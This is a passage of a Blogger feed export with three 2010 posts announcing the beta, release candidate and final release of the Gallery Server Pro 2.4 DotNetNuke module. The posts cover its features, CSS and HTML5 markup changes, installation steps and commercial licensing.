&lt;li&gt;Multiple galleries &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;HTML5&lt;/strong&gt; support for &amp;lt;video&amp;gt; and &amp;lt;audio&amp;gt; tag &lt;/li&gt;    &lt;li&gt;CSS rounded corners and shadows &lt;/li&gt;    &lt;li&gt;IE9 users receive CSS rounded corners/shadows, while older versions use fallback technique &lt;/li&gt;    &lt;li&gt;Improved .NET 4 support &lt;/li&gt;    &lt;li&gt;Reorganized site admin pages &lt;/li&gt;    &lt;li&gt;Moved contents of galleryserverpro.config to database (reduces app restarts) &lt;/li&gt;    &lt;li&gt;No longer uses the ASP.NET profile provider &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;In addition, there are several features unique to DotNetNuke:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Tight integration with DotNetNuke’s users and roles &lt;/li&gt;    &lt;li&gt;Integration with DotNetNuke’s search engine &lt;/li&gt;    &lt;li&gt;Easy installation using DotNetNuke’s module architecture &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;More details about the features can be found in my previous blog posts:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Release-Candidate-Available-for-DotNetNuke-Module&amp;amp;id=3939444767984192776"&gt;Release Candidate Available for DotNetNuke Module&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Gallery-Server-Pro-2.4-DotNetNuke-Module-Beta-Released&amp;amp;id=3107884834969651515"&gt;Gallery Server Pro 2.4 DotNetNuke Module Beta Released&lt;/a&gt;&lt;/p&gt;  &lt;h4&gt;Free Technical Support&lt;/h4&gt;  &lt;p&gt;I have offered free technical support for Gallery Server Pro users ever since the first release, and this practice continues for the DotNetNuke module. The forums now contain a &lt;a href="http://forum.galleryserverpro.com/default.aspx?g=topics&amp;amp;f=33"&gt;Gallery Server Pro DotNetNuke Module section&lt;/a&gt;. Post any questions, comments, or technical support issues there.&lt;/p&gt;  &lt;h4&gt;Licensing&lt;/h4&gt;  &lt;p&gt;The module is released under a &lt;a href="http://www.galleryserverpro.com/gsp_dnn_license.htm"&gt;commercial license&lt;/a&gt;. Convert the trial to a licensed version at any time by purchasing a product key at &lt;a href="http://www.snowcovered.com/Snowcovered2/Default.aspx?tabid=242&amp;amp;PackageID=19158"&gt;snowcovered.com&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;There are two versions of the module:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Gallery Server Pro Professional - $69&lt;/strong&gt; Full functionality, unlimited number of media objects, can be installed on unlimited number of portals in a single DotNetNuke installation. No source code.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Gallery Server Pro Enterprise - $199&lt;/strong&gt; Includes all features of the Professional version, plus source code.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;The stand-alone version of Gallery Server Pro remains under the free, open source GPL license.&lt;/strong&gt; There are no plans to change this, including the upcoming 2.4 version.&lt;/p&gt;  &lt;h4&gt;50% Off Introductory Offer!&lt;/h4&gt;  &lt;p&gt;I am offering a special deal to help celebrate this release: Until November 30, 2010, &lt;strong&gt;get the Enterprise Edition for 50% off the regular price of $199&lt;/strong&gt;. The discount is automatically applied to your shopping cart at &lt;a href="http://www.snowcovered.com/Snowcovered2/Default.aspx?tabid=242&amp;amp;PackageID=19158"&gt;snowcovered.com&lt;/a&gt;. This is a promotional price only, so be sure to grab it before November 30.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3764237459905248323?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3764237459905248323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3764237459905248323' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3764237459905248323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3764237459905248323'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/10/gallery-server-pro-24-dotnetnuke-module.html' title='Gallery Server Pro 2.4 DotNetNuke Module Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/TLR4rBuMztI/AAAAAAAAAQI/uMx3711uOnc/s72-c/dnndemo1%5B4%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3939444767984192776</id><published>2010-09-29T16:55:00.001-05:00</published><updated>2010-11-22T11:20:48.197-06:00</updated><title type='text'>Release Candidate Available for DotNetNuke Module</title><content type='html'>&lt;p&gt;Today I am making available the Release Candidate for the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Gallery Server Pro 2.4 DotNetNuke Module&lt;/a&gt;. It is stable, tested, and functionally complete. It also contains a number of new features not included in the beta released last month. Read my earlier &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Gallery-Server-Pro-2.4-DotNetNuke-Module-Beta-Released&amp;amp;id=3107884834969651515"&gt;blog post&lt;/a&gt; for background information and installation instructions.&lt;/p&gt;  &lt;p&gt;Even if you are not interested in the DotNetNuke version, the next version of GSP will also contain these features, so keep reading.&lt;/p&gt;  &lt;p&gt;The &lt;a href="http://dnndemo.galleryserverpro.com/"&gt;demo site&lt;/a&gt; shows off the major features and even allows you to upload and manage files for testing purposes:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc1" border="0" alt="dnn_rc1" src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1wbHAm9I/AAAAAAAAAOo/UXDJeuKYOfA/dnn_rc1%5B4%5D.png?imgmax=800" width="604" height="467" /&gt; &lt;/p&gt;  &lt;p&gt;Beta users: If you used the beta, you must uninstall the module before installing the release candidate. The media files will not be deleted when uninstalling, but you will lose the captions and other data stored in the tables. I anticipate – but cannot promise – a smooth upgrade to the general release that does not involve any data loss.&lt;/p&gt;  &lt;p&gt;The release candidate contains the same 30-day trial that will be in the final version. It works just like the stand-alone version in that it is fully functional for the first 30 days. When the trial ends, a watermark appears on images and the Site admin area becomes read-only. Restore full functionality by purchasing a product key at &lt;a href="http://www.snowcovered.com/"&gt;SnowCovered&lt;/a&gt; (available once the full version is released).&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;Key Benefits&lt;/h4&gt;  &lt;p&gt;The main features of the DotNetNuke module are the same as the stand-alone version:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Intuitive, flexible user interface &lt;/li&gt;    &lt;li&gt;Share &lt;strong&gt;any&lt;/strong&gt; file: photos, video, audio, documents - anything! &lt;/li&gt;    &lt;li&gt;Support for zero-maintenance &lt;strong&gt;community galleries&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Powerful user security&lt;/strong&gt; with flexible, per-album granularity &lt;/li&gt;    &lt;li&gt;Integrates with existing users and roles &lt;/li&gt;    &lt;li&gt;Scalable to &lt;strong&gt;hundreds of thousands&lt;/strong&gt; of objects &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Metadata extraction&lt;/strong&gt;. Supports these formats: EXIF, XMP, tEXt, IFD,&amp;#160; and IPTC &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Image watermarking&lt;/strong&gt; with your own text and/or image &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;AJAX-enabled&lt;/strong&gt; for more responsive UI &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;HTML templates&lt;/strong&gt; allow complete control over how media objects are rendered &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Plus, there are some great new features in 2.4. These will also be available in the 2.4 version of the stand-alone version, which should be released within a few weeks of the DNN version.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Customizable user interface &lt;/li&gt;    &lt;li&gt;Optional treeview navigation &lt;/li&gt;    &lt;li&gt;Thumbnails extracted from video, PDF, HTML, TXT and EPS files &lt;/li&gt;    &lt;li&gt;Multiple galleries &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;HTML5&lt;/strong&gt; support for &amp;lt;video&amp;gt; and &amp;lt;audio&amp;gt; tag &lt;/li&gt;    &lt;li&gt;CSS rounded corners and shadows &lt;/li&gt;    &lt;li&gt;IE9 users receive CSS rounded corners/shadows, while older versions use fallback technique &lt;/li&gt;    &lt;li&gt;Improved .NET 4 support &lt;/li&gt;    &lt;li&gt;Reorganized site admin pages &lt;/li&gt;    &lt;li&gt;Moved contents of galleryserverpro.config to database (reduces app restarts) &lt;/li&gt;    &lt;li&gt;No longer uses the ASP.NET profile provider &lt;/li&gt; &lt;/ul&gt;      &lt;p&gt;The web site and Admin Guide covers the existing features, so for this post I will focus on what is new in 2.4.&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;Customize the UI&lt;/h4&gt;  &lt;p&gt;Prior to 2.4, Gallery Server Pro had a single “look” – there was a header and footer, and the contents were either a thumbnail view of an album or a single view of a media object. This worked well for many users, but didn’t offer much flexibility when developers tried to integrate a gallery into an existing site.&lt;/p&gt;  &lt;p&gt;For example, one couldn’t automatically show a slide show of an album on the home page. Now you can, as seen in the screen shot above and on the home page of the online &lt;a href="http://dnndemo.galleryserverpro.com"&gt;demo&lt;/a&gt;. This scenario, and many others, are made possible through a new Gallery Control Settings page in the Site admin area. Here is a screen shot of the actual settings used for the slideshow demo:&lt;/p&gt;    &lt;p&gt;&amp;#160;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc3" border="0" alt="dnn_rc3" src="http://lh6.ggpht.com/_qh4427KVFsk/TKSoaMqRjLI/AAAAAAAAAP8/0Xa3Qpq7gls/dnn_rc3%5B5%5D.png?imgmax=800" width="518" height="800" /&gt; &lt;/p&gt;  &lt;p&gt;The key settings are:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;View mode&lt;/strong&gt; – By setting it to “Show a single media object”, we tell GSP to show one image at a time rather than a thumbnail view of an album. There is also a new treeview mode. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Default gallery object&lt;/strong&gt; – We set it to the album “United States Scenery”. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Display options&lt;/strong&gt; – We select the checkbox to override the default settings, then turn off most of the UI elements. We also turn on the option to start the slide show when the page loads. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;These settings offer a lot of flexibility for controlling how your gallery looks with just a few clicks of the mouse. Each setting has a helpful popup tooltip with info and advice:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc4" border="0" alt="dnn_rc4" src="http://lh4.ggpht.com/_qh4427KVFsk/TKO1xDxUDnI/AAAAAAAAAOw/3k7hDvkdPD4/dnn_rc4%5B4%5D.png?imgmax=800" width="504" height="334" /&gt; &lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;Thumbnails from videos and other file types&lt;/h4&gt;  &lt;p&gt;I covered this feature in my earlier blog post, so rather than repeat myself I’ll use the magic of the web and &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Gallery-Server-Pro-2.4-DotNetNuke-Module-Beta-Released&amp;amp;id=3107884834969651515"&gt;point you to it&lt;/a&gt;.&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;Multiple galleries&lt;/h4&gt;  &lt;p&gt;A gallery is a collection of albums and media objects that are bound together with a common set of settings, such as file storage location, watermark settings, image size, allowed file types, and whether user albums are enabled. Starting in 2.4, each web application can contain multiple galleries. This is a big difference from the pre-2.4 notion of multiple galleries, which allowed a single database to share galleries from multiple *applications*.&lt;/p&gt;  &lt;p&gt;The demo site illustrates the usefulness of multiple galleries. There, in a single web application, are five galleries to demonstrate all the major features, with each gallery roughly linked to each menu link. The galleries are managed in the new Gallery Manager:&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc5" border="0" alt="dnn_rc5" src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1xeZkGdI/AAAAAAAAAO0/IcCY8UhUHLE/dnn_rc5%5B9%5D.png?imgmax=800" width="604" height="396" /&gt; &lt;/p&gt;  &lt;p&gt;The screen shot shows the five galleries and their media files storage location. Each instance of the module on a page is linked to one gallery. For example, the home page that contains the slide show is linked to the gallery “Slide show gallery”; the remaining demo pages are linked to their corresponding gallery. Two galleries are re-used – the Demo4 and Demo6 pages point to one of the other galleries since they don’t need their own.&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;HTML5 support&lt;/h4&gt;  &lt;p&gt;Most browsers – including Internet Explorer 9 – now include some level of support for HTML5. The &amp;lt;video&amp;gt; and &amp;lt;audio&amp;gt; tags in particular have great potential for Gallery Server Pro, since it offers the promise of cross-browser video and audio playback without any dependence on plug-ins. So, in the spirit of moving toward this multimedia nirvana, 2.4 now renders &amp;lt;video&amp;gt; and &amp;lt;audio&amp;gt; tags for browsers and files that support it. For example, .webm, .ogg, and .ogv files are sent to the browser with this syntax:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&lt;font face="Courier New"&gt;&amp;lt;video src=&amp;quot;&lt;/font&gt;&lt;font face="Courier New"&gt;getmediaobject.ashx?t22if9isNfsY&lt;/font&gt;&lt;font face="Courier New"&gt;&amp;quot; controls autobuffer &amp;gt;&amp;lt;p&amp;gt;Cannot play: Your browser does not support the &amp;lt;code&amp;gt;video&amp;lt;/code&amp;gt; element or the codec of this file. Use another browser or download the file by clicking the download toolbar button above (available only when downloading is enabled).&amp;lt;/p&amp;gt;&amp;lt;/video&amp;gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;In Google Chrome, it looks like this (click the image to go to the actual video):&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;a href="http://dnndemo.galleryserverpro.com/Demo1.aspx?moid=372"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="dnn_rc7" border="0" alt="dnn_rc7" src="http://lh4.ggpht.com/_qh4427KVFsk/TOqmbR_g2EI/AAAAAAAAAQM/Fv6tGvO7ivg/dnn_rc7%5B1%5D.png?imgmax=800" width="604" height="396" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;This .webm video will play in Firefox 4, Chrome, IE 9 (when VP8 codec is installed), and Opera. For IE 9 users without the VP8 codec or for versions of IE8 and earlier, users will see this:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc8" border="0" alt="dnn_rc8" src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1yO9FQGI/AAAAAAAAAO8/-SeqbyIAMa4/dnn_rc8%5B4%5D.png?imgmax=800" width="604" height="145" /&gt;&amp;#160;&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;CSS rounded corners and shadows&lt;/h4&gt;  &lt;p&gt;Gallery Server Pro has sported drop shadows around images for a while now:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc9" border="0" alt="dnn_rc9" src="http://lh6.ggpht.com/_qh4427KVFsk/TKO1yrGcQKI/AAAAAAAAAPA/ioQJf8-FPOg/dnn_rc9%5B5%5D.png?imgmax=800" width="287" height="225" /&gt; &lt;/p&gt;  &lt;p&gt;The technique, which I adapted from &lt;a href="http://www.positioniseverything.net/articles/dropshadows.html"&gt;Position Is Everything&lt;/a&gt;, was a fairly complicated combination of nested div tags and images. Here is what it looks like under the hood:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;&amp;lt;div class=&amp;quot;gsp_floatcontainer&amp;quot;&amp;gt;    &lt;br /&gt;&amp;lt;div class=&amp;quot;op1&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160; &amp;lt;div class=&amp;quot;op2&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160; &amp;lt;div class=&amp;quot;sb&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;div class=&amp;quot;ib&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;img id=&amp;quot;mo_img&amp;quot; src=&amp;quot;getmediaobject.ashx?CDZHDoCF&amp;quot; alt=&amp;quot;Penguins.jpg&amp;quot; title=&amp;quot;Penguins.jpg&amp;quot; style=&amp;quot;height:187px;width:250px;&amp;quot; /&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160; &amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;#160; &amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/div&gt;  &lt;p&gt;Here is the supporting CSS:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;.gsp_floatcontainer {overflow:hidden;width:100%;}    &lt;br /&gt;html &amp;gt; body .gsp_ns .op1 {background:url(../images/shadow_tr_8x8.png) right top no-repeat;     &lt;br /&gt;float:left;display:inline;}     &lt;br /&gt;html &amp;gt; body .gsp_ns .op2 {background:url(../images/shadow_bl_8x8.png) left bottom no-repeat;     &lt;br /&gt;padding-top:8px;padding-left:8px;}     &lt;br /&gt;html &amp;gt; body .gsp_ns .sb {background:url(../images/shadow_800x800.png) bottom right;}     &lt;br /&gt;html &amp;gt; body .gsp_ns .ib {position:relative;left:-8px;top:-8px;border:1px solid #a9a9a9;}     &lt;br /&gt;&lt;/div&gt;  &lt;p&gt;Now that all modern browsers – even IE9 – support drop shadows and rounded corners, I was able to simplify it down to this:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;&amp;lt;div class=&amp;quot;gsp_i_c&amp;quot;&amp;gt;    &lt;br /&gt;&amp;#160; &amp;lt;img id=&amp;quot;mo_img&amp;quot; src=&amp;quot;getmediaobject.ashx?CDZHDoCF&lt;/a&gt;&amp;quot; alt=&amp;quot;Penguins.jpg&amp;quot; title=&amp;quot;Penguins.jpg&amp;quot;     &lt;br /&gt;style=&amp;quot;height:187px;width:250px;&amp;quot; /&amp;gt;     &lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/div&gt;  &lt;p&gt;And the new CSS:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;.gsp_ns div#divMoView .gsp_i_c {border:1px solid;border-color:#AAA #444 #444 #AAA;margin:0 auto 15px auto;padding:2%;    &lt;br /&gt;-moz-box-shadow: 8px 8px 8px #636363;-webkit-box-shadow: 8px 8px 8px #636363;box-shadow: 8px 8px 8px #636363;     &lt;br /&gt;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;}&lt;/div&gt;  &lt;p&gt;We went from five div tags to one, and the result looks great:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc10" border="0" alt="dnn_rc10" src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1y2YK1oI/AAAAAAAAAPE/uuOMzWxs4JE/dnn_rc10%5B5%5D.png?imgmax=800" width="281" height="218" /&gt; &lt;/p&gt;  &lt;p&gt;IE8 browsers and earlier will still get the old HTML, but everyone else benefits from the new CSS support.&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;Elimination of galleryserverpro.config&lt;/h4&gt;  &lt;p&gt;The configuration file galleryserverpro.config in 2.3 and earlier versions contained the MIME types, HTML templates, and most of the settings that were exposed in the Site admin area. While this made it easy to edit in any text editor, it was not compatible with the multi-portal features in DotNetNuke. In addition, ASP.NET would restart the web application each time the file was edited, resulting in delays and potential interruptions for users.&lt;/p&gt;  &lt;p&gt;I moved these settings to database tables for 2.4.&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;Elimination of ASP.NET profile provider&lt;/h4&gt;  &lt;p&gt;Previous versions of Gallery Server Pro used the ASP.NET profile infrastructure to store user profile data such as whether the metadata popup was visible and the user album ID (when user albums are enabled). This worked well but had two flaws:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Web.config modification – The web.config file had to specify the profile provider and the profile properties. If a developer was already using the profile provider, she had to merge the GSP profile properties with the ones she had already defined. This sometimes causes issues with existing code that interacted with the properties, since they were not aware of the new GSP properties. &lt;/li&gt;    &lt;li&gt;DotNetNuke profiles – DotNetNuke provides its own profile mechanism that I tried to tap into, but it would have required a lot of work to handle the settings for multiple galleries within a portal, plus it fragmented the settings for GSP – some settings were managed in the DNN profile management and others in the GSP admin screens. Better to have them all in one place. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;In the end I created a new table gs_UserGalleryProfile and wrote custom code to interact with it, completely bypassing the ASP.NET profile mechanism and eliminating the dependence on web.config changes and the DNN profile API.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3939444767984192776?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3939444767984192776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3939444767984192776' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3939444767984192776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3939444767984192776'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/09/release-candidate-available-for.html' title='Release Candidate Available for DotNetNuke Module'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/TKO1wbHAm9I/AAAAAAAAAOo/UXDJeuKYOfA/s72-c/dnn_rc1%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3107884834969651515</id><published>2010-08-20T11:14:00.001-05:00</published><updated>2010-10-12T15:20:49.808-05:00</updated><title type='text'>Gallery Server Pro 2.4 DotNetNuke Module Beta Released</title><content type='html'>&lt;p&gt;Today I am excited to announce the immediate availability of a beta version of the Gallery Server Pro 2.4 DotNetNuke Module. It is based on the same code architecture as the regular version of Gallery Server Pro, which means all the great features you love are now available in a module that runs natively inside a DotNetNuke web application. In addition, version 2.4 brings some great new features such as thumbnail generation for videos, PDF, EPS, text and Photoshop (PSD) files.&lt;/p&gt;  &lt;p&gt;The module works in all versions of DotNetNuke 5.0.0 and higher.&lt;/p&gt;  &lt;p&gt;&lt;strike&gt;Download the beta here.&lt;/strike&gt; It is fully functional with no expiration. Later in this post I will walk you through the installation process. I will quickly point out that uninstalling the module completely removes all traces of it, including the database tables. Note, however, that any media files you added to the gallery will remain in the default location within the Portals directory – you can delete these manually (this was an intentional decision to prevent accidental deletion).&lt;/p&gt;  &lt;p&gt;If you haven’t heard of &lt;a href="http://www.dotnetnuke.com/"&gt;DotNetNuke&lt;/a&gt;, it is a popular platform for building highly functional .NET web applications. The community version of DotNetNuke is free and the source code can be downloaded and modified if desired. It has an extensible module architecture that allows third parties to add additional functionality. There is even a website named &lt;a href="http://www.snowcovered.com"&gt;SnowCovered&lt;/a&gt; where you can browse – and purchase - the available modules.&lt;/p&gt;  &lt;p&gt;I created a &lt;a href="http://dnndemo.galleryserverpro.com/"&gt;public demo&lt;/a&gt; to show off the Gallery Server Pro module and let you play with it. Here is a screen shot of the gallery:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN home 1" border="0" alt="DNN home 1" src="http://lh6.ggpht.com/_qh4427KVFsk/TG6pyd8-cBI/AAAAAAAAANs/8-pnG8EVviA/DNN%20home%201%5B4%5D.png?imgmax=800" width="604" height="564" /&gt; &lt;/p&gt;  &lt;p&gt;The gallery functionality is nearly identical to the stand-alone version of Gallery Server Pro. The only differences are minor tweaks due to the nature of it being a module inside of DotNetNuke. For example, by default, the Gallery Server Pro module does not render a login link since DotNetNuke provides one. Plus, a few redundant features are disabled, such as allowing users to create and mange their own accounts.&lt;/p&gt;  &lt;p&gt;The module integrates with DotNetNuke’s users and roles to easily manage secure access to the gallery objects. All SuperUser accounts and users in the Administrators role automatically have admin permissions to the gallery. All users in the Registered Users role have view permissions on objects. This can be changed by editing the role permissions on the Manage Roles page in Gallery Server Pro’s Site admin area.&lt;/p&gt;  &lt;p&gt;Just like with the regular version, you can restrict certain albums from users by using the role-based security access. And use watermarking to protect your images. The user album feature can be used to give each DotNetNuke user their own personal gallery. There are dozens of configuration options that let you set up the gallery exactly the way you want it.&lt;/p&gt;  &lt;p&gt;If you would like to perform advanced customization, the source code for this module will be available at the general release.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Install instructions&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Install the Gallery Server Pro module the same way you do any other module. Log in with a host account (SuperUser) and go to Host – Module Definitions. Click the down arrow and select Install Module.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 1" border="0" alt="DNN GSP install 1" src="http://lh4.ggpht.com/_qh4427KVFsk/TG6pyj9DnVI/AAAAAAAAANw/RurA9oVnO2A/DNN%20GSP%20install%201%5B4%5D.png?imgmax=800" width="604" height="533" /&gt; &lt;/p&gt;  &lt;p&gt;Select the Gallery Server Pro Module zip file and click Next.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 2" border="0" alt="DNN GSP install 2" src="http://lh4.ggpht.com/_qh4427KVFsk/TG6pyzo2XwI/AAAAAAAAAN0/uBodJqBVag8/DNN%20GSP%20install%202%5B4%5D.png?imgmax=800" width="604" height="367" /&gt; &lt;/p&gt;  &lt;p&gt;Gallery Server Pro uses ASMX web services, which causes DotNetNuke to issue a warning. Select Ignore File Restrictions and click Next.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 3" border="0" alt="DNN GSP install 3" src="http://lh6.ggpht.com/_qh4427KVFsk/TG6pzYIeTsI/AAAAAAAAAN4/Wj4iQDCI2TU/DNN%20GSP%20install%203%5B4%5D.png?imgmax=800" width="604" height="389" /&gt; &lt;/p&gt;  &lt;p&gt;The next page shows some information about the module.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 4" border="0" alt="DNN GSP install 4" src="http://lh4.ggpht.com/_qh4427KVFsk/TG6pztprl9I/AAAAAAAAAN8/TnieLkHA2gs/DNN%20GSP%20install%204%5B4%5D.png?imgmax=800" width="604" height="440" /&gt; &lt;/p&gt;  &lt;p&gt;The next page shows the release notes. Pay special attention to the note about requiring full trust! Even though the regular version of Gallery Server Pro can run in medium trust, the DotNetNuke module must run in a web application running at full trust. This is because of an unfortunate decision by DotNetNuke to disable .resx language files, which Gallery Server Pro uses to support multiple languages. The Gallery Server Pro module re-enables this feature, but it requires full trust to do it. I submitted a &lt;a href="http://support.dotnetnuke.com/issue/ViewIssue.aspx?id=12091&amp;amp;PROJID=2"&gt;feature request&lt;/a&gt; with DotNetNuke that will eliminate this requirement – please vote on it to help make it a priority with them.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 5" border="0" alt="DNN GSP install 5" src="http://lh6.ggpht.com/_qh4427KVFsk/TG6pz9wUd5I/AAAAAAAAAOA/0jNEd3dVpkM/DNN%20GSP%20install%205%5B4%5D.png?imgmax=800" width="604" height="592" /&gt; &lt;/p&gt;  &lt;p&gt;The next page shows the license, which is a standard commercial license rather than the GNU GPL the regular version is released under. See below for more info about the licensing and pricing.&lt;/p&gt;  &lt;p&gt;I have no plans to change the license for the regular version of GSP – it will remain under the GPL for as 